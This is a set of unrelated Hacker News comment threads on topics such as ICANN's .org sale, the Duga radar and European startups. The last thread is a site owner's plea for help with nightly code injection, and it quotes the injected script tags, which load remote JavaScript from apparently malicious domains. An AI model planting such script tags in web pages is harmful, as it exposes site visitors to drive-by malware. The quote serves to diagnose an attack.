</comment></comment></comment></comment></comment><comment><USER5> I think it would be extremely easy for me to identify my friends or for them to identify me based on writing style.

One of my closest friends is dyslexic, several others are in separate countries, and we've all got various tics and tells we might not even be aware of.

<comment><USER6> I've been beta testing the app for awhile now. At first there was a strong curiosity to know who posted what. It turned out to be harder than I thought (and even then, it was only ever a guess). Over time, I found myself not wondering anymore.

</comment></comment><comment><USER7> Didn't the PostSecret guy lend his name to an app, only to discover that the interaction aspect wound up being used for bullying (and he therefore got it shut down)?

<comment><USER3> Hmm, I didn't think about that. That's probably likely. It's one thing to make a statement and leave it there, another to see how people react to your deep secrets. They are secrets for a reason I suppose and society may not welcome it.

On the other hand, if this is with 'friends' and not completely random audience things may manifest quite differently.

</comment></comment><comment><USER8> Going with a .ly domain is risky, so much so that YC startups are advised not to depend on them.

Source: [https://news.ycombinator.com/item?id=1764475](https://news.ycombinator.com/item?id=1764475)

</comment><comment><USER9> So basically this is an anonymous forum with one topic? Or is it basically a forum with no reputations and each post is on is own?

</comment><comment><USER10> Yeah.. anonymous admissions.. right.</comment>


Why the US can beat China - The facts about SpaceX costs - <AUTHOR> http://www.spacex.com/updates.php#Update050411 <comment><AUTHOR> Some remarkable stats on how much it's taken to get SpaceX off the ground. Apparently only $800million in total development costs since they were founded, and that includes infrastructure and dev costs for Falcon 1, Falcon 9 and the Dragon capsule.</comment>


ICANN delays .org selloff after California's attorney general intervenes - <AUTHOR> https://www.theregister.co.uk/2020/04/17/icann_california_org_sale_delay/ <comment><USER2> I can't see any way selling .org from a non-profit to a commercial entity who is profit motivated makes sense at all.

In online debates a decade or more ago, I remember people, including myself, used to defend American control of the domain system by pointing out the altruistic and independent nature of the ICANN and their history of being good stewards of the DNS infrastructure thus far. That seems to no longer be the case. This whole deal calls into serious question their current integrity.

<comment><USER3> There are precedents. I stopped buying National Geographic magazine when the Society sold it to Fox.

From [https://www.washingtonpost.com/lifestyle/style/national- geog...](https://www.washingtonpost.com/lifestyle/style/national-geographic- magazine-shifts-to-for-profit-status-with-fox- partnership/2015/09/09/7c9f034e-56f0-11e5-8bb1-b488d231bba2_story.html)

> On Wednesday, the iconic yellow-bordered magazine, beset by financial > issues, entered its own uncharted territory. In an effort to stave off > further decline, the magazine was effectively sold by its nonprofit parent > organization to a for-profit venture whose principal shareholder is one of > Rupert Murdoch's global media companies.

<comment><USER4> Looks like that stake went to Disney when most of Fox was sold to them. Interesting.

<comment><USER5> It's on all Disney+ ads.

[https://i.imgur.com/avn5ck8.jpg](https://i.imgur.com/avn5ck8.jpg)

</comment></comment></comment></comment><comment><USER6> Am I the only one who believes .tld model is broken? ICANN and IANA overseeing all .tld creation, the current pollution with thousands of .ltds, being just two problems.

Maybe even the .tld model is too old to help identify hosts. In the beginning of Internet com, edu, gov, mil, org were enough to group hosts. But now, that we have zillions of hosts, .tld might not be enough.

If IPv6 is a response to IPv4 limits, maybe we need something better than .tld, too.

<comment><USER7> What are your concerns about TLD "pollution"?

opening up TLDs for sale seems like a (somewhat) logical way to expand the available namespace for domains. We have zillions of hosts, why require them to conform to one of a few random categories.

Certainly, I have issues with how TLDs are allocated and controlled, but that doesn't mean that the general idea of allowing essentially arbitrary top level domains the same the way we do with second level domains is inherently a bad thing.

<comment><USER8> They tlds are basically scams. When they are introduced they claim to have a rollout schedule that allows the general public to register names but the good names are effectively reserved.

I tried to buy california.beer on the first day .beer was available to the public. It was always listed as unregistered but if I tried to buy it strange errors occurred.

After the time period where they were required to allow registrations for a set price, california.beer was listed for $1000+.

</comment></comment></comment><comment><USER6> Can't we come up with a simple, good technical solution to identify hosts?

Something that is scalable, is easy to use from a technical perspective and also easy to use by humans?

The biggest thing to solve is that meaningful dictionary words are few and many people fight over them. But the current solution to that means thousands upon thousands of tlds, which nobody cares of, are hard to remember. Most people still fight over .com domains and prices got to insane levels.

To have the chance to use a decent .com name for your business, you have to first buy another tld, work for a few years, pile up some millions of USD and get it from the domain hoarders.

Having a .com domain with a name relevant to your business is still perceived as a big advantage.

<comment><USER9> > Something that is scalable, is easy to use from a technical perspective and > also easy to use by humans?

That's exactly what we have right now.

This is a business/culture/government/economics problem—not a technical one. As long as the end goal of the system is "type in a string of text on any computer connected to the internet, and get the same result[1]", we're going to have issues like this.

When I got my first domain name, the cost was $100 for two years (and $50/year thereafter). At that price, no one thought of squatting on any but the most lucrative domain names—certainly not mass-registering thousands of domains and holding on to them for years. I don't want to go back to those prices, but those are the sorts of parameters that impact the domain name market.

[1] Yes, there non-public zones, geo-routing, etc. But as long as we define "result" as "exactly what the organization controlling that substring wants you to get" I think it works.

<comment><USER10> >I don't want to go back to those prices, but those are the sorts of parameters that impact the domain name market.

The amount of money businesses are willing to spend on branding is large enough that there is no price point that would allow me to both afford renewals on my email server's domain, but doesn't also enable squatting.

<comment><USER11> The mere existence of squatting is not as much an issue, as the scale when most domains are speculators and it's hard to get a reasonable name.

Also, some TLDs have prior rights and domain dispute processes for speculators. Namespaces can be handled much better than current .com situation.

</comment></comment></comment></comment><comment><USER12> The "Chief Purpose Officer" at Ethos is working hard these days to keep us all well informed - [http://www.circleid.com/pp/dot-org- sale](http://www.circleid.com/pp/dot-org-sale)

<comment><USER13> I wonder if the name is a reflection of the PR strategy to claim special merit on exactly the point where you're actually most lacking.

</comment></comment><comment><USER14> Is this deal something the SEC can throw the book at? I mean it's quite obvious that this is an inside deal with front companies to gut a public non- profit just less than 4 years after ICANN stopped being supervised by the Department of Commerce.

How is this legal and why isn't it being criminally investigated?

<comment><USER15> Corruption, in USA? That's entirely legal for rich people and endorsed by congress I thought. smh

</comment></comment><comment><USER16> Delays, not cancels. Alas, the attackers have a lot to gain, so they'll keep mounting the attacks. And the defenders have very little -personal- reason to fight back.

</comment><comment><USER17> The letter from the AG is here: [https://www.icann.org/en/system/files/correspondence/becerra...](https://www.icann.org/en/system/files/correspondence/becerra- to-botterman-marby-15apr20-en.pdf)

It opens with this:

My office has "responsibility for supervising charitable trusts in California, for ensuring compliance with trusts and articles of incorporation, and for protection of assets held by charitable trusts and public benefit corporations…" (Gov. Code, § 12598.) My office is tasked with the authority to "investigate transactions and relationships of corporations and trustees…for the purpose of ascertaining whether or not the purposes of the corporation or trust are being carried out in accordance with the terms and provisions of the articles of incorporation or other instrument." (Gov. Code, § 12588). To that end, my office conducted an investigation of ICANN and its role in approving the transfer of the .ORG Registry Agreement from the Public Interest Registry ("PIR") (the supporting organization to the Internet Society ("ISOC")) to Ethos Capital...

and yes, ICANN is based in California, so it seems they could possibly have their charter revoked if they sell and the AG comes after them (IANAL).

</comment><comment><USER18> Now it's time to change the name to Pathos Capital

</comment><comment><USER19> That's really stupid, maybe this will push alternatives like namecoin...

</comment><comment><USER20> Wild how organizations like ICANN that are supposedly international are in practice wholely within the jurisdiction of some regional government. Not even the Federal government, they're being stopped by the state of California!

<comment><USER6> I wonder why organizations like ICANN that are supposedly international are hurrying to sell .org tld to some private firm with very opaque ownership. And why that process of selling isn't transparent, why they didn't do any bidding before of selling?

</comment></comment><comment><USER21> We need the Ethereum Naming System (ENS) as soon as possible.

Domain names will be one of the first major applications of global consensus algorithms.

[https://ens.domains/](https://ens.domains/)

<comment><USER22> You are aware that your link itself spells out that they aren't finished and still use a root cert with seven owners? There are likely more people involved in the decision making process at ICANN. But, yeah, lets migrate our critical infrastructure to some in progress project "as soon as possible". I mean it has electrolytes^W block-chain in it, that is what plants^W security experts crave, right?</comment></comment>


Duga radar: Enormous abandoned antenna hidden in forests near Chernobyl - <AUTHOR> https://edition.cnn.com/travel/article/duga-radar-chernobyl-ukraine/index.html <comment><USER2> I well recall the Duga radar, although back then we only ever called it the woodpecker because of the chirpy noise it made.

Its very powerful signal used to flood large chunks of the HF/shortwave radio spectrum (3-30 MHz) and render sections of it unusable for legitimate users (i.e.: radio stations operating within the ITU (International Telecommunications Union) radio regulations and technical standards).

Back then, it seems the Russians—or I should say the USSR—didn't give a damn about standards when it came to Cold War activities.

Duga used to check for a quiet part of the radio spectrum and then start its chirping activities (being radar, and even though its transmitters were extremely powerful, it still needed very quiet channels in order to detect its own very weak reflections/echoes if it was to work properly). Thus, it would land anywhere where it was likely to sufferer minimum interference from other radio stations (even though these other stations were very much weaker in power than Duga was, they could still easily drown it out).

I recall amateur radio operators—who use even much lower power than these other broadcasters do—were able to chase it out of their own bands with only few tens of watts—so important was it for Duga to have a very clear channel. Amateurs used to deliberately land on Duma's frequency and transmit there, this would interfere with its reflection and thus screw up its radar activities. When interfered with Duma would then move across the band to the next quiet spot and start over again. The crafty cunning amateurs would effectively chase it on and on across their bands until they had gotten rid of it.

Nevertheless, Duma was a remarkable system and there's been videos of its huge antenna arrays and transmitter buildings on YouTube for a few years now. Moreover, there's a few showing intrepid climbers clambering all over these very high antenna arrays. Intrepid in more than one sense, as Duma is in the Chernobyl exclusion (radiation) zone only a few kilometres away from the crippled reactor (presumably, they're not too concerned with the radiation levels from the reactor).

For any techie who is even vaguely interested in RF engineering or ionospheric propagation, Duma is a truly interesting relic/artifact of the Cold War as well as an amazing technological curiosity.</comment>


Charles Aznavour, French singing star, dies at 94 - <AUTHOR> https://www.bbc.com/news/entertainment-arts-45709214 <comment><USER2> Very sad news. "Last Giant" of French song.

Aznavour, who was born Shahnour Varinag Aznavourian in Paris to Armenian parents, sold more than 100m records in 80 countries and had about 1,400 songs to his name, including 1,300 he wrote himself. [1]

In 1998, Aznavour was named Entertainer of the Century by CNN and users of Time Online from around the globe.

On 19 September 2018, his last concert took place in NHK Hall, Osaka, Japan. It was 11 days ago, he was touring at 94! [2] Aznavour spent 85 years on stage.

[1] [https://www.theguardian.com/world/2018/oct/01/charles- aznavo...](https://www.theguardian.com/world/2018/oct/01/charles-aznavour- french-singer-dies-aged-94)

[2] [https://en.wikipedia.org/wiki/Charles_Aznavour](https://en.wikipedia.org/wiki/Charles_Aznavour)</comment>


New honeycomb tire is 'bulletproof'  - <AUTHOR> http://news.cnet.com/8301-13639_3-10098240-42.html?tag=mncol <comment><USER2> I remember seeing this on Reddit or Digg some time ago (maybe one or two years ago) and was hoping I would eventually hear something about it again.

The one deterrent I can see to adoption is that police might not like it. No longer would they be able to shoot someone's tires out or put spikes out on a road to slow them down.</comment>


Microsoft signs Android patent deal with Foxconn - <AUTHOR> http://www.bbc.co.uk/news/technology-22182597

<comment><AUTHOR> Microsoft gets royalties on Android devices because it owns some patents of stuff Google uses? Worlds collide.</comment>


Resizing images before upload using html5 canvas - <AUTHOR> http://www.rubydesigner.com/blog/resizing-images-before-upload-using-html5-canvas

<comment><USER2> It's cool (it is) but if you just want to deploy something similar and don't want to get involved in the browser politics (IE/Safari/Opera don't support direct access to the filefield, and oh yeah, IE in general) you could do worse than to look at <http://www.plupload.com/>

It supports HTML5 canvas resizing as well as offering Flash/Silverlight/Gears/BrowserPlus for resizing, and if the user doesn't have one of those, it falls back to standard upload form.

And all under GPLv2 (only becomes an issue if you're distributing closed- source websites - eg a template, and perhaps not even then)

<comment><AUTHOR> thanks. I know plupload. I just don't always want a huge do-it-all beast with garbage like flash, silverlight, etc.. And feel like experimenting myself. My code works in chrome/safari/firefox. in IE the upload will just go the old way (no resizing will happen).

</comment></comment><comment><USER3> Did this a couple years ago: <http://kimsal.com/shrinker/>

Code doesn't work 100% of the time - it was a rough draft - no error handling - but it's up on github - pull requests welcome!

<comment><AUTHOR> yep that's similiar. many things changed though. the first thing I can see is that I work with multifile input, filereader and blobs.

<comment><USER3> I'd hit some snags then the project I was doing this on didn't need it anymore, so... it's sitting in limbo.</comment></comment></comment>


We Think That Bin Laden Death Photo Is Fake - <AUTHOR> http://photoblog.msnbc.msn.com/_news/2011/05/02/6568249-we-think-that-bin-laden-death-photo-is-a-fake

<comment><USER2> Indeed, I've been hearing this is a fake that has been circulating the webs for a while now. Good to see some of the mainstream media outlet catching up with the drums

</comment><comment><USER3> The only people that are more irritating than the ones who believe everything they see on the news/internet are the ones who believe none of it.</comment>


What Every European Startup Should Know: 10 Keys to Presenting Your Startup in the US - <AUTHOR> http://mashable.com/2008/12/02/presenting-your-startup-in-the-us/

<comment><USER2> "boutique consultancy"? I'm not sure whether to applaud for a precision application of language or cringe at the pretentiousness of a deluded grab at prestige....and of course on their main page they call themselves a "Customer Experience Strategy consultancy".

Of course, I'm American, so maybe I'm just too unrefined to properly appreciate their own eloquently enhanced customer experience strategy. ;)

<comment><USER3> I don't know how you use "boutique" in the US, but it's a commonly used word around here (when speaking English anyway).

I do think there is definitely a qualitative difference in the way people speak in Europe and in the US (also when speaking languages other than English).

I was a bit surprised when I have heard a (supposedly, could have been Canadian AFAIK) American tourist saying something like "they were just a bunch of dudes hanging out" (she was a woman in her 40's, in Austria using an equivalent form of slang is something normally reserved to much younger people).

<comment><USER2> It was always amusing to me when my British drama teacher would use a word that Americans rarely use like "coach" or "metro" (as opposed to bus or subway). I had just big enough a vocabulary for it to be no effort for me to understand her, even if I never used such words personally, whereas everybody around me just went "huh?" I guess I'm finally noticing the times when I'm on the other side of that divide and have to really think about what the unfamiliar words mean in the given context.

</comment></comment></comment><comment><USER4> As a European I found this article pretty interesting. And true.

We Europeans are academics - we love a good argument just for the sake of it, we think before we talk, and our products (usually) don't crash. But we can't sell worth shit...

<comment><USER2> I've no first hand knowledge of Europe, but given what I know of human nature, I'm pretty distrustful of someone describing a place the size of a continent as intellectual... still, it does make me kinda wish it were true! But I mean, honestly...

<comment><USER4> It might be a overly broad, but I don't think its entirely untrue.

Your mileage will vary of course - Spaniards and Brits are very different.

<comment><USER3> I think you could broadly divide Europe to 4 parts along the north/south axis and the west/east axis.

I believe this thread pertains mostly to the northern and in particular north western part.

</comment></comment></comment></comment><comment><USER5> 11\. Know your US-based competition inside out. One of the first questions you get asked will be about it.</comment>


Windows 8 Passes the 35,000 app Milestone - <AUTHOR> http://thenextweb.com/microsoft/2012/12/27/windows-8-store-passes-35000-apps-adding-an-average-of-415-daily/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+TheNextWebMicrosoft+(The+Next+Web+Microsoft) <comment><USER2> what happens at 35k? what milestone is that beyond a random round number?</comment>


Ask HN: website getting hacked through code injection - <AUTHOR>

hi HN, for the past 4-5 days every night my website is somehow hacked and some javascript codes which redirect to a php page are inserted in my code. The problem is i know the server is not compromised cause the only access to the server through RDP is allowed through my IP on the firewall. aside from that it's only open on port 80,110 and 25.
also the date modified on the php script being edited doesn't change. it stays the same even though they are adding code to it.  i've installed a malware inspector on the server and it didn't return anything.
i did some digging and made sure there are no "eval" code in my php sites and now i'm out of ideas. i remove the injection code but looks like every night at 12am it gets put back in somehow.
i looked at the IIS logs on the server and don't see any hits for those URLS. can you please help me and guide me on how to start troubleshooting this and pinpointing it down in my code to see where the attacker is getting in?
the code they inject is below: <script type="text/javascript" src="http://in-sss.ru/code/js.php?i=5837&r=10568&p=12914&c=8"></script> <script type="text/javascript" src="http://wap-ttd.in/code/js.php?i=5837&r=10568&p=12914&c=8"></script> <script type="text/javascript" src="http://mnogo-code.ru/code/js.php?i=5837&r=10568&p=12914&c=8"></script>
thanks <comment><USER2> Given that it happens at exactly 12am, it is safe to assume that the machine itself is infected with some kind or rogue software. Kill all unknown processes in the machine. Get an updated virus/malware cleaner. Look at scheduled tasks on the machine. Did you check registry entries? Good luck

<comment><AUTHOR> so i did a clean virus and malware search and nothing was found. i don't think this is on my server.

i know they are doing drive by injections but i just don't know how to find out which page on my site they are using to do the injection

</comment></comment><comment><USER3> I've encountered malware where the computer being used to administer the site was compromised, and the malicious code was injected periodically this way. So make sure your personal computer, as well as the computers of anyone with write access to the site is clean. Good luck.</comment>